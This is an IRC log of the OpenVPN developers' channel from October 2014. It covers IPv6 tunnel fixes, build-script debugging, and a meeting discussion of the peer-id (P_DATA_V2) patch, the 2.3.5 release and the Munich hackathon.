forums.openvpn.net(OpenVPN-2-pt.tunnel.tserv3.fmt2.ipv6.he.net) 56 data bytes 03:29 <@syzzer> 64 bytes from OpenVPN-2-pt.tunnel.tserv3.fmt2.ipv6.he.net: icmp_seq=1 ttl=53 time=148 ms 03:29 <@syzzer> works for me :) 03:46 <@mattock> nice! 03:46 <@mattock> I'll reboot it then 03:48 <@mattock> yeah, ipv6 still works 03:52 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 250 seconds] 03:58 <@cron2> mattock: thanks. What was the problem? 04:00 <@mattock> just wrong IPs in both ends 04:00 <@mattock> both public and private IPv4 addresses had changed 04:23 <@cron2> mattock: now it's back to "non working"...?! 04:23 <@mattock> orly? 04:23 <@cron2> macmini-gert:~ gert$ ping6 forums.openvpn.net 04:23 <@cron2> PING6(56=40+8+8 bytes) 2001:608:0:1::dead:beef --> 2001:470:1f04:465::2 04:23 <@cron2> Request timeout for icmp_seq=0 04:25 <@mattock> works now 04:26 <@mattock> I'll disable inbound protocol 41 and see what happens 04:27 <@mattock> I can still ping6 04:27 <@mattock> cron2: does it work for you? 04:37 <@syzzer> mattock: works for me now 04:37 <@mattock> I suspect it was just a glitch 04:44 <@mattock> cron2: it seems you've been receiving some emails 04:44 <@mattock> I'll turn those off for a while 04:45 <@mattock> damn build-snapshot is not respecting the openvpn build flags which explicitly disable snappy 04:51 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 04:51 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 04:52 <@mattock> interestingly it's also skipping the build flags in build.vars 04:53 <@mattock> need to fix this after lunch to get the automated Windows tests going again 05:17 -!- dazo_afk is now known as dazo 06:20 <@cron2> mattock: ipv6 is working again 06:20 <@cron2> if you disable proto-41 it will fail as soon as the state expires, so "if you stop pinging, it needs an outbound ping to bring back state so inbound works". Don't do this :) 06:21 <@cron2> don't worry about the build-snapshot mails, I'm happy to see work happening there :) 06:32 <@mattock> cron2: ok, I see why it worked for a while then 06:35 <@mattock> should not break again now 06:35 <@mattock> back to debugging build-snapshot 06:43 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has quit [Quit: Closing] 06:53 <@mattock> ah, now I see 06:53 <@mattock> build-snapshot does a "make dist" to produce a tarball for build-complete to use 06:53 <@mattock> and to do that it runs configure 06:54 <@mattock> which has it's own set of configure flags, including the implicit --enable-snappy and --enable-lz4 06:57 <@mattock> does disabling lzo, lz4, snappy or other features affect the result of "make dist" in any way? 06:57 <@mattock> if not, I'll modify build-snapshot to require as few dependencies as possible 07:04 <@mattock> the build now proceeded to the point where it _should_ fail, "great" :) 07:30 <@dazo> mattock: nope, that shouldn't cause any issues at all 07:30 <@mattock> dazo: so I assumed, thanks! 07:30 <@mattock> the changes are now in openvpn-build 07:33 <@mattock> cron2: you should receive a mail from buildtest complaining about a failed build 07:57 <@cron2> mattock: yes, thanks :) 14:15 -!- dazo is now known as dazo_afk 15:26 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:28 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 15:28 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 15:43 -!- mattock is now known as mattock_afk 16:33 -!- debbie10t is now known as seventyseven 16:52 <@syzzer> oh, damn, just realized I won't be able to make it to the IRC meeting tomorrow :( 16:52 <+seventyseven> nor me ... :..( 17:54 -!- seventyseven [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] --- Day changed Thu Oct 23 2014 00:44 <@cron2> syzzer: "no way!" or "can't make the start time, have time later"? 01:10 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 260 seconds] 01:14 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 272 seconds] 01:14 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 01:14 -!- siruf_ is now known as siruf 01:14 -!- mattock_afk is now known as mattock 01:42 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 250 seconds] 01:43 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:43 -!- mode/#openvpn-devel [+o andj] by ChanServ 01:59 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 260 seconds] --- Log closed Thu Oct 23 01:59:17 2014 --- Log opened Thu Oct 23 07:20:34 2014 07:20 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:20 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 2 voices, 10 normal] 07:20 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:20 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 07:22 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 08:24 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 10:20 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 10:52 <@syzzer> plaisthos: I can't reproduce your error here 10:53 <@syzzer> also, if I look at github, line 553 does not have the code your compiler mentions :p 10:53 <@syzzer> https://github.com/syzzer/openvpn/blob/aead-cipher-modes5/src/openvpn/crypto.c 10:53 <@vpnHelper> Title: openvpn/crypto.c at aead-cipher-modes5 · syzzer/openvpn · GitHub (at github.com) 10:54 <@syzzer> 553 size_t crypto_overhead = 0; 10:54 <@syzzer> failed merge perhaps/ 10:56 <@syzzer> anyhow, gotta go now, have a fruitful meeting tonight! 11:53 -!- dazo is now known as dazo_afk 12:46 -!- mattock_afk is now known as mattock 12:52 -!- lev__ [~lev@stipakov.com] has joined #openvpn-devel 12:56 * cron2 is nearly back 12:57 <@mattock> I'm nearly present :) 12:58 < lev__> hello there 12:58 <@mattock> I might have some connectivity issues during the meeting, in a car 12:58 <@mattock> hi lev! 12:58 * cron2 has kids that refuse to stay in bed 12:59 * lev__ thinks, that it might be a bit challenging to drive and chat 13:00 <@mattock> I don't drive fortunately :P 13:03 <@mattock> ready? 13:04 < lev__> yep 13:04 <@mattock> who do we have here today? 13:04 <@mattock> lev, cron2, me... 13:04 <@mattock> syzzer won't be 13:04 <@mattock> james should be here soon 13:05 -!- audience_x [~audience_@85-23-34-38.bb.dnainternet.fi] has joined #openvpn-devel 13:07 < Hes> Boing, me. 13:07 <@mattock> I'll remind James 13:09 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:09 <@cron2> hi james 13:09 <@jamesyonan> hi cron2 13:10 <@mattock> session ID patch first? 13:10 * cron2 looks for the agenda 13:10 <@cron2> found 13:10 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2014-10-23 13:10 <@vpnHelper> Title: Topics-2014-10-23 – OpenVPN Community (at community.openvpn.net) 13:13 <@cron2> I think we can handle 2.3.5 first, because that's quick and easy :-) - I'll integrate the windows tap fixes ASAP (planned to do yesterday, tax paperwork got in the way), then I'll tag and you release 13:13 <@cron2> the new stuff in there is all minor, but useful, so no major test effort needed - quick smoketest before publishing the windows installers 13:14 <@cron2> (and make sure you have the $PATH fix :) ) 13:14 <@mattock> sounds good 13:14 <@mattock> the path fix is there 13:14 <@mattock> in the fixed mingw packages that is 13:14 <@mattock> sorry, nsis 13:14 <@cron2> great :) 13:15 <@mattock> next topic then :) 13:15 <@cron2> --tls-version-max is out, as syzzer isn't here to argue the point 13:15 <@cron2> leaves session id, I think - is plaisthos around? 13:17 <@mattock> james: have you had a look at the session id patch? 13:17 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/8403 13:17 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:17 <@cron2> mattock: is 8403 the one from today? 13:17 < lev__> has anyone tried it (besides me) ? 13:18 <@cron2> lev__: this is why I was asking for plaisthos :) 13:18 <@mattock> cron2: probably not 13:18 <@cron2> lev__: but what we need is buy-in from James :-) - so maybe you could quickly explain what you did (which isn't exactly what we envisioned, but with reason) as James would have to add it to OpenVPN 3 clients for it to make sense 13:19 < lev__> sure 13:19 < lev__> so I added P_DATA_V2, with 1 byte opcode and 3 bytes for session_id 13:20 < lev__> server has int array[MAX_CLIENTS] of sessions 13:21 <@cron2> it should be pointed out that this is "just a numeric ID" and not the TLS ID 13:21 < lev__> when client connects, server assigns next free session_id (0, 1, 2.. max-clients-1) and sends it with push_reply 13:22 <@jamesyonan> just so I understand this, the net cost of this approach is that we are adding 3 more bytes to every packet? 13:23 <@cron2> my idea was to send the +3byte packet only every now and then, but the initial implementation does it for every packet, yes 13:23 <@cron2> lev__: only for client->server packets, or *every* packet? 13:23 <@jamesyonan> or are we only adding the 3 bytes to P_DATA packets? 13:23 <@cron2> P_DATA -> P_DATA_V2 13:24 <@jamesyonan> so then P_DATA_V2 packets are the only packets that have the extra 3 bytes? 13:24 < lev__> then client uses P_DATA_V2 for every data packet. When packet arrives to the server, it gets session by array lookup (instead of hash lookup) and checks if client ip/port changed. If yes, then server verifies hmac and, if success, updates client ip/port in internal structures 13:25 < lev__> p_data_v2 for client->server only 13:25 < lev__> I assume that server won't float :-/ 13:25 <@cron2> reasonable assumption :) 13:25 <@jamesyonan> it's not unheard of :) 13:26 < Hes> Back. Silly LTE. 13:26 -!- audience_x [~audience_@85-23-34-38.bb.dnainternet.fi] has quit [Remote host closed the connection] 13:27 < lev__> I have tested with mobile client and it switches seamlessly between wifi/3g, also UDP NAT timeout is not an issue anymore 13:28 < lev__> implementation is backward compatible with old (well, existing) clients/servers 13:29 <@jamesyonan> originally I was thinking that it sort of sucks to have to be bloating the protocol with 3 more bytes for every data channel packet, but I do like the way that it solves alignment issue, and I'm also thinking that because of other unrelated changes (such as availability of AEAD ciphers) we might be able to make up the 3 bytes in other ways so we don't have a net increase 13:30 < Hes> With the mobile clients, and UDP/NAT, floating between networks is pretty common, sending the session ID very often (or always) makes for really smooth sessions. 13:31 <@cron2> remind me again: what is an openvpn "ping" packet? Is that data or control? 13:32 <@cron2> (read: if there is no activity on the client side except --ping, will that work, or not)? 13:32 < Hes> I've been reviewing the patch, found the bytesex bug which would have broken it when talking between different endianness machines. But that's now fixed. 13:32 <@jamesyonan> I'm actually leaning more towards the approach of, if we include the session ID, of always sending it rather than having the added complexity of an adaptive algorithm that decides whether or not to send it 13:33 < Hes> The "ping" packet is sent on the same ipaddr:port <> ipaddr:port tuple as data. 13:33 <@cron2> Hes: yes, but is it a control packet or P_DATA? 13:33 <@cron2> (inside OpenVPN) 13:33 <@jamesyonan> ping packet is P_DATA 13:33 < Hes> In case of a quick NAT timeout, a quick ping timeout seems to help in keeping NAT sessions open. But that consumes battery. 13:33 <@cron2> james: thanks. So that would also nicely work out 13:34 <@jamesyonan> it's a special sequence of magic numbers that can't be confused with an IP or eth packet 13:34 < Hes> With the session ID, and a "normal mobile device" use case, the ping timer can be increased. It'll still be needed to figure out things like a server restart or other need to switch to another server. 13:34 <@cron2> Hes: understood. Thing is that if the client isn't actually sending anything (so no "P_DATA_V2 with session ID") the pings would still have the desired effect, instead of getting lost due to other packet format -> non-issue 13:35 <@cron2> as far as bytesex goes: this is *not* the right fix in the current patch: 13:35 <@cron2> + sess = htonl(((P_DATA_V2 << P_OPCODE_SHIFT) | ks->key_id) << 24 | 13:35 <@cron2> +(multi->vpn_session_id & 0xFFFFFF)); 13:35 <@cron2> + ASSERT (buf_write_prepend (buf, &sess, 4)); 13:35 <@cron2> or will it? 13:35 <@cron2> rollback, ignore what I said 13:36 <@cron2> it was too complicated for me, but indeed, doing the bit shifting inside and the htonl outside will ensure the opcode will always end on byte[0] 13:36 <@cron2> sorry for the noise 13:36 < Hes> It is a bit hairy indeed. But it seems like it does the right thing. 13:37 <@jamesyonan> I believe if you do an htonl on the leading 4 bytes of the raw ovpn packet, that the leading op byte will be the high part of the uint32 and the lower 24 bits will be the session id 13:37 <@jamesyonan> so that works out 13:37 < lev__> jamesyonan: could you clarify "we should send session ID always" 13:38 <@cron2> jamesyonan: ACK, this is what I believe now as well, spoke too fast 13:38 <@jamesyonan> i.e. don't switch between P_DATA_V1 and V2 in the same session 13:39 <@cron2> I was the one who had complicated switch back and forth plans, but the argument "less complexity" is convincing :) 13:39 < lev__> but this implementation is not supposed to switch 13:40 < Hes> + "immediate remedy when needed" instead of "try to recover a bit later with a retry" 13:40 <@cron2> lev__: no, this was based on the concept model we discussed before you went coding 13:40 < lev__> ah ok 13:40 <@mattock> will be away for 10-15 mins... 13:40 <@cron2> your patch definitely looks like "if it switches, it will stay there", trading 3 bytes vs. algorithmic heuristics 13:40 < lev__> it is always good to start coding before familarizing with concept! 13:41 <@jamesyonan> the problem is if you switch, you then have to deal with the alignment issue more adaptively because you don't know until you've read the packet whether it's V1 or V2 13:41 -!- mattock is now known as mattock_afk 13:41 <@jamesyonan> so I would tend to lean against adaptive switching 13:44 <@jamesyonan> so with typical usage of AES CBC mode with HMAC-SHA1 our overhead will be 4 (op + session ID) + 20 (HMAC) + 16 (IV) + 4 (packet ID) = 44 bytes 13:45 < lev__> small correction - I said that server sends session ID with push_reply. Surely it is peer info. 13:45 <@cron2> no, it's push reply 13:45 < lev__> hm 13:45 <@cron2> peer info is client->server with "IV_PROTO=2" 13:46 < lev__> oh right, I was looking on client part 13:46 <@cron2> push.c, send_push_reply :-) "if peer_info contains IV_PROTO and proto >=2" 13:46 <@jamesyonan> also, be careful about session ID and push, because there's already a session ID in OpenVPN that's used for a different purpose 13:47 <@cron2> maybe rename it? "client-id"? 13:47 < Hes> does it need some terminology / variable name adjustment then 13:48 <@cron2> "instance-id" 13:48 <@jamesyonan> how about peer_id 13:48 < Hes> +1 for peer_id 13:49 <@jamesyonan> since it's being used in P_DATA_V2 which could conceivably be generated by either client or server 13:49 <@jamesyonan> and there's no existing peer_id symbol in OpenVPN code right now 13:49 <@cron2> we might end up supporting floating servers one day :) 13:50 < lev__> it is currently generated by server, meaning is position in sessions array 13:50 <@cron2> peer_id is good for me 13:50 < Hes> Hm, if the server would be improved to float, I suppose an unmodified client might just support that with this code? :) 13:50 < Hes> right, client does not have the equivalent array 13:50 <@cron2> Hes: no, as the "who does this packet belong to?" logic isn't called in client mode 13:51 <@cron2> some extention might be needed ("P_DATA_V2, not who I expected to talk to? hash ok? update peer!") 13:52 < Hes> but, in the now-common world of dualhomed IPv4/IPv6 mobile devices, where IPv6 is a globally routable public IP address and IPv4 is NATed, floating between those might actually be cool later 13:52 <@cron2> lev__: understood, thing is, there is TLS session ID, so "session id" will cause confusion eventually. "instance-id" describes the current implementation, but "peer_id" is more neutral regarding "what is in there, what does it reflect"? 13:52 < Hes> in case one or the other has a hickup, would be nice to be able to switch, like SCTP 13:52 <@cron2> Hes: ack. Eventually :) 13:53 < Hes> Eventually. 13:53 < lev__> cron2: right, I should rename those in my wetware 13:53 -!- mattock_afk is now known as mattock 13:57 <@mattock> have we reached some sort of conclusion? 13:58 <@mattock> :P 13:58 <@cron2> so, how do we proceed with this patch? I think it warrants a re-spin renaming "session-id" to "peer-id" in push and C structs, and then "someone" needs to review... 13:58 <@cron2> mattock: good timing. Always the impatient one :) 13:58 < lev__> I can do the first part 13:58 <@mattock> even more impatient than you? 13:58 <@mattock> :) 13:59 <@cron2> Jamesyonan: can you review the hash-relevant code path changes? I'm fine with the push/option/peer_info stuff (skimmed through it, looked good, will do a more thorough review on the next round) but do not feel fully comfortable with the "inside workings" there 13:59 < Hes> I've reviewed, but it's a rather involved change set, needs a good set of reviews. And maybe some tests in a test suite. 13:59 -!- audience_x [~audience_@85-23-34-38.bb.dnainternet.fi] has joined #openvpn-devel 14:00 < lev__> about server floating - should this be implemented to get ACK? or can it be done as a separate patch? 14:00 <@cron2> Hes: the fun of it... "use --bind, change NAT rules while test is running"... t_client.sh is not smart enough yet to do that :) 14:00 <@jamesyonan> cron2: yes, I'm looking at the patch now 14:01 <@jamesyonan> I think server floating should be a separate patch 14:01 <@cron2> lev__: separate, not right now. This one is a big step that solves an immediate need, we can do the next round when the use case exists 14:03 -!- audience_x [~audience_@85-23-34-38.bb.dnainternet.fi] has quit [Remote host closed the connection] 14:03 < Hes> yeah, would be nice to get this forward without making it any bigger than it already is 14:09 <@jamesyonan> I'm going to need more time to review, but I assume we'll be seeing another iteration shortly with the session_id -> peer_id change... 14:11 <@cron2> lev__: you turn :) 14:11 <@cron2> your 14:11 < lev__> sure, I can do it tomorrow 14:12 < lev__> (getting too dark today) 14:12 <@mattock> ok 14:12 <@mattock> munich next? 14:12 <@cron2> yeah, this is cool, progress :-) 14:12 <@cron2> Munich next 14:13 <@cron2> http://community.openvpn.net/openvpn/wiki/MunichHackathon2014 14:13 <@vpnHelper> Title: MunichHackathon2014 – OpenVPN Community (at community.openvpn.net) 14:13 <@mattock> cron2: the stage is yours 14:13 <@cron2> did I put it onto the agenda? 14:13 <@cron2> anyway. 14:13 <@mattock> so basically goals and plans is what I wrote there 14:14 <@mattock> what's the goal besides meeting and having useful discussions? 14:14 <@cron2> munich coming up soon, room is booked, wife knows what is coming up :-) 14:14 <@cron2> I really want to get the windows interactive service done, but d12fk has not formally confirmed that he'll come 14:14 <@cron2> and besides that - meet, have useful discussions, hack on the code, enjoy food & drinks :) 14:15 <@mattock> yep, the interactive service thing is quite a bit overdue 14:15 <@mattock> suppose that d12fk won't be there, and interactive service won't be there 14:15 <@mattock> shall we go and release 2.4 without it? 14:16 < lev__> any sessi(grrr.. peer) ID related things planned for Munich? It is mentioned on a trac page 14:16 <@cron2> I assume he'll be there or we'll at least get his code (and if I have to haunt him personally, it's just a 3-hour drive) 14:16 <@mattock> stalking is one option, yes 14:16 <@mattock> :P 14:16 <@cron2> lev__: nah, *that* goes in "as soon as reviewed!" now, as we seem to be all in agreement that the approach is fine 14:17 <@cron2> lev__: so I think you have your feature-ACK (after renaming) just need the code-ACK as well :-) 14:17 * lev__ dances 14:17 <@mattock> nice! 14:17 <@cron2> mattock: there will be work to do, things to clarify (like, the CLA), ideas to bounce around (like, multithreading :) or AEAD) 14:18 <@cron2> and if we run out of things to do, I'll just distribute trac tickets 14:18 <@mattock> yeah, world won't be ready by then 14:18 <@mattock> actually trac tickets alone would be enough to keep everyone occupied 14:18 <@mattock> so no worries about having to just eat and drink 14:18 <@mattock> :) 14:18 <@cron2> yeah, but face-to-face time is too valuable to start with trac 14:19 <@mattock> yep, it's a bit boring 14:19 <@mattock> and does not make best use of face-to-face communications 14:20 < lev__> is that event still limited to "active developers that are also regularily contributing" 14:21 <@cron2> well, it's not a user meeting :-) - this was the intention of the quoted statement 14:22 <@cron2> but "regularily" is a very vague term (*look at d12fk*) :-) - so if you feel like coming, you're welcome 14:22 < lev__> thanks, let's see if I could make it 14:24 <@cron2> the meeting room can comfortably take about 7-8 people "with gear", but Sat/Sun we have the whole office area for us, so we'd form smaller sub-groups or such to focus 14:28 <@cron2> that's from me for munich - anyone else? 14:29 <@jamesyonan> I think I'll be able to make it 14:30 <@cron2> cool :) 14:31 < lev__> maybe while people are here, I can ask - what about using inotify to get result of auth-user-pass-verify (and client-connect) instead of checking acf files on incoming request / timeout 14:31 <@mattock> lev: it would great if you could make it! 14:31 <@mattock> the more the merrier 14:33 <@cron2> lev__: spontaneously I'd say "portability" given that not all supported OSes have this and/or it needs extra libraries. But I'm too tired today to really think through it and understand the picture (sorry) 14:33 < lev__> http://sourceforge.net/p/openvpn/mailman/message/32906587/ 14:33 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 14:34 <@mattock> that said, most of the guys are here on a daily basis 14:34 <@mattock> so this is not like the last chance to get an answer :) 14:35 <@cron2> lev__: yeah that thread is still sitting in my mailbox :-) - dazo is the one to think about the async plugin stuff, and I'm the one to worry about portability and adding #ifdefs and the implication of that for testing 14:35 < lev__> yep I understand. I have sent this patch some time ago, would be nice if someone could take a look 14:36 * cron2 calls it a day and gives up - sorry, it was a really tough day, falling asleep. But this was a good meeting. 14:37 <@mattock> lev: you probably have to push a bit 14:37 <@mattock> when we don't immediately find time to review patches they often are forgotten about by mistake 14:37 <@mattock> so sending a friendly reminder usually helps 14:38 < lev__> I see. It is hard to find a balance between police poke and being annoying 14:39 < lev__> s/police/polite/ 14:39 <@mattock> yeah, I know 14:40 <@mattock> one way to ensure a patch is not forgotten is to put it here: https://community.openvpn.net/openvpn/wiki/Patches 14:40 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 14:41 <@mattock> I'm not 100% sure that's up-to-date 14:41 <@mattock> plaisthos has been maintaining that for the most part 14:43 <@mattock> summary sent 14:49 < lev__> ok, have a nice (day|evenign) all! 14:50 < lev__> s/gn/ng 15:02 -!- audience_x [~audience_@85-23-34-38.bb.dnainternet.fi] has joined #openvpn-devel 15:04 -!- audience_x [~audience_@85-23-34-38.bb.dnainternet.fi] has quit [Remote host closed the connection] 15:52 -!- mattock is now known as mattock_afk 16:40 <@syzzer> ah, cool, the peer-id is happening! 16:48 <@syzzer> oh, regarding 2.3.5, it would be nice to get the polarssl private key password bugfix in 16:48 <@syzzer> hmm, according to my own mailbox I sent it to the list on Oct 6, but I can't find it in the archives :/ 17:44 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 20:23 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Fri Oct 24 2014 00:43 * cron2 cannot remember having seen that - I have two polarssl API changes in queue, but nothing about password (IIRC) 01:26 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:47 -!- Netsplit *.net <-> *.split quits: @vpnHelper, @mattock_afk, Eagle_Erwin 02:00 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:00 -!- Eagle_Erwin [~Erwin@codeserver.student.utwente.nl] has joined #openvpn-devel 02:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:00 -!- ServerMode/#openvpn-devel [+oo mattock_afk vpnHelper] by morgan.freenode.net 02:29 -!- Netsplit *.net <-> *.split quits: @vpnHelper, @mattock_afk, Eagle_Erwin 02:32 -!- Netsplit over, joins: Eagle_Erwin, @mattock_afk 02:36 -!- Netsplit *.net <-> *.split quits: Eagle_Erwin, @mattock_afk 02:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:37 -!- ServerMode/#openvpn-devel [+o vpnHelper] by morgan.freenode.net 02:38 <@syzzer> cron2: I'll resend then 02:39 <@syzzer> changes are trivial, reviewing should be very easy 02:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:40 -!- Netsplit over, joins: Eagle_Erwin 02:40 -!- ServerMode/#openvpn-devel [+o mattock] by morgan.freenode.net 02:46 <@syzzer> still weird, since it *did* got deliverd at my private mail (sent from work) 02:46 <@syzzer> through the -devel list, that is 03:01 <@d12fk> all: I hereby confirm formally that I'll come 03:05 <@syzzer> d12fk: cool! 03:07 <@syzzer> can you share the interactive service code? my time till the meeting is limited, so the earlier I can take a look at the greater the chance that I actually do ;) 03:19 <@d12fk> any one else in the room who wants it? 03:19 <@d12fk> as i said it's likely not compiling atm 03:19 <@d12fk> should be in a reviewable state though 03:52 <@syzzer> d12fk: I think cron2 wanted to take a look at it too 03:57 <@d12fk> ok will dig it up and mail it to you 04:09 <@cron2> d12fk: cool :) 04:09 <@cron2> both "you can come" and "code is coming" 04:09 * cron2 was a bit worried about d12fk, tbh 04:11 <@d12fk> yes 04:17 <@cron2> syzzer: oh, that one I actually have - it's what I classified as "API change" 04:27 <@syzzer> cron2: ah, ok. Well, now it's in te ml archives too :) 04:46 <@plaisthos> Hack-O-Rama for Android: https://github.com/schwabe/openvpn/commit/5e33ca4c82137c4c381675008f2fddf9c4a17fae 04:46 <@vpnHelper> Title: Fix routing when not being able to read /proc/route · 5e33ca4 · schwabe/openvpn · GitHub (at github.com) 04:46 <@plaisthos> :/ 04:49 <@plaisthos> mattock: yeah I update that Patches pages altough I don't do it as every patch gets submitted, Acked anymore due to lazyness. 04:49 <@plaisthos> I usually do a search for PATH in openvpn-devel everything few months and add everything which is still open 04:51 <@plaisthos> [A 04:55 -!- Netsplit *.net <-> *.split quits: Eagle_Erwin, @mattock 04:56 <@cron2> plaisthos: the "session-id" (which will now be "peer-id") patch, is it in your tree already? 04:56 -!- Netsplit over, joins: @mattock, Eagle_Erwin 04:58 -!- Netsplit *.net <-> *.split quits: +krzee, _bt, @d12fk, siruf, @pekster, +roentgen, Eagle_Erwin, @mattock, ender|, @plaisthos, (+7 more, use /NETSPLIT to show all of them) 04:58 -!- Netsplit *.net <-> *.split quits: Hes, riddle 04:59 -!- Netsplit over, joins: @mattock, @pekster, riddle, @syzzer, @plaisthos, +roentgen, +krzee, ender|, Haigha, _bt (+9 more) 06:24 <@cron2> plaisthos: does p2p mode TLS at all? 06:24 <@cron2> ah, syzzer answered that already :) 06:24 * cron2 is silent agani 08:14 <@plaisthos> yeah p2p with static vs p2p with tls-client/tls-server vs p2mp tls-server 08:14 <@plaisthos> (there is no difference between p2mp and p2p tls-client 09:23 <@cron2> lev__: just so it has been said and not implied: the fact that you get lots of critical comments now on the patch is a *good* sign - "massaging it to be in-line with conventions" is the second stept to get it in (after feature-ACK) 10:21 -!- dazo_afk is now known as dazo 10:33 <@dazo> syzzer: have you seen this one? https://bugs.launchpad.net/ubuntu/+source/openssl/+bug/1256576/comments/4 10:34 <@vpnHelper> Title: Comment #4 : Bug #1256576 : Bugs : “openssl” package : Ubuntu (at bugs.launchpad.net) 10:34 <@dazo> syzzer: Ubuntu is disabling TLSv1.2 on their openssl builds 10:37 <@cron2> why? 10:41 <@dazo> they claim openssl is broken in some situations when used as a TLSv1.2 client 10:41 <@dazo> https://bugs.launchpad.net/ubuntu/+source/openssl/+bug/1256576/ ... this is the complete comment thread I located later on 10:41 <@vpnHelper> Title: Bug #1256576 “Ubuntu 12.04 LTS: OpenSSL downlevel version is 1.0...” : Bugs : “openssl” package : Ubuntu (at bugs.launchpad.net) 10:45 <@cron2> well, so why are they not fixing it, then? 10:46 <@dazo> one part of me asks the same ... another smaller part of me is torn and leans towards relief they don't try to fix it ... 10:48 <@cron2> well, a local "fix!" might make things worse, true 10:48 * dazo checks what fedora/rhel has done ... if they've done anything at all 10:51 * dazo don't understand the ubuntu way of thinking ... 10:52 <@dazo> January 7th, Fedora pulled in upstream(!) openssl patches to their builds, fixing these issues .... Ubuntu comment October 2014: "That USN doesn't re-enable TLSv1.2 by default for clients in Ubuntu 12.04. It simply fixes an issue if someone _forced_ TLSv1.2 to be enabled." 10:53 <@cron2> oh my 10:54 <@dazo> This is either lacking proper bug updates (hopefully) ... or, worse, is not followed up properly by ubuntu openssl packagers 10:55 <@d12fk> wiki updated, train and hotel book, no way back =) 10:55 <@cron2> \o/ 10:56 <@dazo> cool :) 11:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 11:01 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 12:27 -!- dazo is now known as dazo_afk 12:42 * cron2 rants about the poor state of the two patches mattock forwarded for tdivine... the second one basically undoes everthing the first one did, BUT changes whitespace all over the place... 12:43 <@ecrist_> heh 13:16 <@mattock> cron2: poor state indeed 13:20 <@cron2> but the actual code there isn't particularily pretty either :) 13:24 <@cron2> *sigh* and the patch breaks all non-windows platforms 13:27 <@vpnHelper> RSS Update - tickets: #467: Typographical inconsistency <https://community.openvpn.net/openvpn/ticket/467> 13:51 <@vpnHelper> RSS Update - gitrepo: Fix "code=995" bug with windows NDIS6 tap driver. <https://github.com/OpenVPN/openvpn/commit/7aa178381241ae015273914065471e0d271ee1c3> 13:53 <@cron2> mattock: it's in, but I can't tell you whether this is what will make things fly... 13:59 <@cron2> syzzer: I take it you have actually tested the polarssl regression fix both in the 2.3 and master branches with a protected key? (I have a single remote where the key is protected, but that requires me to go and search a hardware token as well and I'm lazy) 14:03 <@vpnHelper> RSS Update - gitrepo: Fix regression with password protected private keys (polarssl) <https://github.com/OpenVPN/openvpn/commit/4b9eaa1ee40648f101deb4ebf07a04cd5b5400e9> 14:04 <@cron2> so, anything else you want in 2.3.5? 14:05 <@cron2> (ponies are out) 14:12 -!- You're now known as ecrist 16:28 -!- mattock is now known as mattock_afk --- Day changed Sat Oct 25 2014 01:35 -!- mattock_afk is now known as mattock 03:04 <@cron2> mattock: mornin' :-) - let me repeat that question... 03:04 <@cron2> 21:04 <@cron2> so, anything else you want in 2.3.5? 03:08 <@mattock> oh, it was for me 03:08 <@mattock> no 03:08 <@mattock> I want 2.4 03:08 <@mattock> :) 03:38 <@syzzer> cron2: not really. there is a code cleanup patch for 2.3 somewhere in my local tree - similar to the one applied to master a little while ago (missing includes, explicit casts) - which would be nice 03:38 <@syzzer> but that's just cosmetics, so 'meh' 03:41 <@syzzer> cron2: (re testing) yes, I tested the patches :) 03:41 -!- mattock is now known as mattock_afk 03:52 -!- mattock_afk is now known as mattock 04:06 <@syzzer> dazo_afk: I haven't read that particular thread (but I'm doing now ;) ), but I was well aware there are some seriously broken SSL/TLS implementations out there 04:07 <@syzzer> e.g. ssl-accelerators that only accept ClientHello message up to 256 bytes *or* 512 or longer, but not in between... 04:07 <@syzzer> which is why browser jump through all sorts of hoops to keep the internet working - this seems to be one of those practical use cases. 04:11 -!- mattock is now known as mattock_afk 04:23 